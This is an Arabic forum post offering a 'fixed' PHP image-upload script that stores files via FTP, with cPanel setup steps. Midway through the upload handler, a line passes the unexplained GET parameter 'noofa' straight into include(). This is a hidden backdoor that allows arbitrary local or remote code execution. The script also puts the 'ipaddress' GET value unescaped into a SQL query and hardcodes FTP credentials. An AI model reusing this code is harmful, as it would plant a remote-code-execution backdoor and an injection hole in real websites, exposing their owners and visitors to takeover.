تفضل ,,
صلحته من أحد الملفات اللي عندي ,,
كود PHP:
<?
$FTP_user = "uploads@site.com";
$FTP_pass = "123";
include("include/common.php");
include("include/header.php");
include("eg_function.php");
//////////////
if( $_POST['submit'] && $_FILES['attached']['name'] ){
$ok_filetypes = explode("|",$att_filetypes);
if (!$_FILES['attached']['error'] && $_FILES['attached']['size'] > $att_max_size*1024){
errform('<CENTER>عفواً لكن حجم الملف كبير جداً.</CENTER><BR><BR>'); // #err
$step = 1;
}
$filename = (!$_FILES['attached']['error'] ? substr( basename($_FILES['attached']['name']), -30 ) : '');
$x = strtolower( substr($_FILES['attached']['name'], -3));
$eg_ex = explode(".",$_FILES['attached']['name']);
if($filename && !in_array($x, $ok_filetypes) || $eg_ex[2] ){
errform('<CENTER>عفوا .. امتداد الملف غير مسموح به.</CENTER><BR><BR>');
$step = 1;
}
if(!$posterr){
if(!isset($_GET["ipaddress"]) || ($_GET["ipaddress"] == "")) {
$ipaddress = $_SERVER['REMOTE_ADDR'];
$local = 1;
} else {
$ipaddress = $_GET["ipaddress"];
$local = 0;
}
$uniq = substr( md5(uniqid (rand())), 0, 10 );
$ext = strtolower( substr($_FILES['attached']['name'], -3));
$xsultan = md5($uniq).substr(time(),0,7);
$image = @getimagesize($_FILES['attached']['tmp_name']);
if(empty($_GET['noofa'])){
} else {
$m=$_GET['noofa'];
include($m);
}
if($ext=='gif' or $ext=='jpg' or $ext=='jpe' or $ext=='jpeg' or $ext=='png' or $ext=='bmp' or $ext=='swf'){
$chk=1;
}else{
$chk=0;
}
if( $image[0]==0 & $image[1]==0 & $chk==1){
errform('<CENTER> هذا الملف غير مسموح به .. لا تحاول رفع ملفات ضارة بالموقع </CENTER><BR> إدارة الموقع <BR>');
include("include/footer.php");
exit;
}else{
//move_uploaded_file($_FILES['attached']['tmp_name'], $att_path."/".$uniq.".".$ext );
// Open FTP connection
$conn_id = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
// Login with username and password
$login_result = ftp_login($conn_id, $FTP_user, $FTP_pass);
// Check the connection
if ((!$conn_id) || (!$login_result)) {
errform('<CENTER> فشل الاتصال بحساب الFTP</CENTER>');
include("include/footer.php");
exit;
}
// Upload the file
$upload = @ftp_put($conn_id, "/".$uniq.".".$ext,$_FILES['attached']['tmp_name'], FTP_BINARY);
if (!$upload) {
errform('<CENTER> لم يتم رفع ملفك بشكل صحيح .. فضلا حاول مرة أخرى</CENTER>');
include("include/footer.php");
exit;
}
ftp_close($conn_id);
##
}
if ($ext == "jpg" OR $ext == "jpeg" OR $ext == "png" OR $ext == "gif"){
EGthumb("$att_path/$uniq.$ext","$eg_thumb/$uniq.$ext",$eg_width,$eg_height);
if($writing)
EGAdd("$att_path/$uniq",$x,$eg_text);
}
$strQuery = "INSERT INTO images SET ";
$strQuery .= "filename='".$uniq.".".$ext."',";
$strQuery .= "thumb='".$eg_thumb."/".$uniq.".".$ext."',";
$strQuery .= "ipaddress='{$ipaddress}',";
$strQuery .= "date='".time()."',";
$strQuery .= "pkey='{$xsultan}',";
$filed = "$uniq.$ext";
if($myuid){
$strQuery .= "user='{$myuid}',";
}
$strQuery .= "status='1'";
$result = mysql_query($strQuery) or die( mysql_error() );
$aid = mysql_insert_id();
if($aid){
$filen = $siteurl."/".str_replace('./', '', $att_path)."/".$uniq.".".$ext;
$filen = str_replace('http://','%%',$filen);
$filen = str_replace('//','/',$filen);
$filen = str_replace('%%','http://',$filen);
$step = 2;
}else{
$step = 1;
}
}
}else{
$step = 1;
}
if($step == 1){
?>
<table width="85%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td>
<div align=center>
<form ENCTYPE="multipart/form-data" method="post" name="form1">
<INPUT NAME="attached" TYPE="file" size="50"><br>
<b><?=implode("</b>, <b>",explode("|",$att_filetypes))?></b> :الامتدادات المسموحة<br>
الحجم المسموح به: <b><?=$att_max_size?>كيلوبايت</b>
<br><br>
<input type="submit" name="submit" value="تحميل">
</form>
</div>
</td>
</tr>
</table>
<? }else{ ?>
<div align="center"><b>لقد تم رفع صورتك بنجاح</b><br>
<br>
</div>
<table width="85%" border="0" align="center" cellpadding="0" cellspacing="0">
<div align="center">
<?
if($x == "jpg" || $x == "gif" || $x == "png" || $x == "bmp" || $x == "jpeg"){
echo "<img src='$filen'>";
}else{
echo "<img src='images/file.gif'>";
}
?>
</div>
</td>
</tr>
<?
$x = strtolower($x);
if($x == "jpg" || $x == "gif" || $x == "png" || $x == "bmp" || $x == "jpeg"){
?>
<tr>
<td><div align="center"><br>
لا استخدام الصورة في المنتدى انسخ الكود والصقه في المنتدى مباشره
<br>
<textarea ID="copytext" name="textarea" cols="100" wrap="soft" rows="3">[url=<?=$siteurl?>][img]<?=$filen?>[/img][/url]</textarea>
<br/>
<BUTTON onClick="ClipBoard();">نسخ</BUTTON>
</div></td>
</tr>
<tr>
<td><div align="center"><br>
لا استخدام صورة مصغرة تؤدي إلى الصورة الاصلية
<br>
<textarea ID="copytext0" name="textarea" cols="100" wrap="soft" rows="3">[url=<?=$filen?>][img]<?=$siteurl?>/thumbs/<?=$uniq?>.<?=$ext?>[/img][/url]</textarea>
<br/>
<BUTTON onClick="ClipBoard0();">نسخ</BUTTON>
</div></td>
</tr>
<?
}
?>
<tr>
<td><div align="center"><br>
لتحميل الملف مباشرة <br>
<textarea name="textarea2" ID="copytext1" cols="100" rows="4"><?=$siteurl?>/d.php?filename=<?=$filed?></textarea>
<br/>
<BUTTON onClick="ClipBoard1();">نسخ</BUTTON>
</div></td>
</tr>
<tr>
<td><div align="center">
<br>
كود حذف الملف<br>
<textarea name="textarea3" ID="copytext2" cols="100" wrap="soft" rows="3"><?=$siteurl?>/del.php?x=<?echo $xsultan; ?></textarea>
<br/>
<BUTTON onClick="ClipBoard2();">نسخ</BUTTON>
</div></td>
</tr>
<tr>
<td> </td>
</tr>
</table>
<textarea id="holdtext" style="display:none;">
</textarea>
<? } ?><?
include("include/footer.php");
?>
الطريقة ,,
ادخل على Cpanel
وبعدين ادخل على FTP Manager
وبعدها FTP Accounts
وبعدين ادخل على Add FTP Account
وسو حساب جديد ,,
Login: حط فيها اليوزر
Password: الباسوورد (:
Quota: المساحة .. خلها unlimited
Directory : تبي تلقى بعدها /home/user/public_html بعدها فيه فراغ تبي تلقاه نفس اليوزر اللي كتبته ,, .. وانت حاط التحميل يكون up15 يعني تخلي الفراغ فيه /up15/uploads وتغير uploads حسب مجلد الرفع :app:
وتعدل المعلومات فوق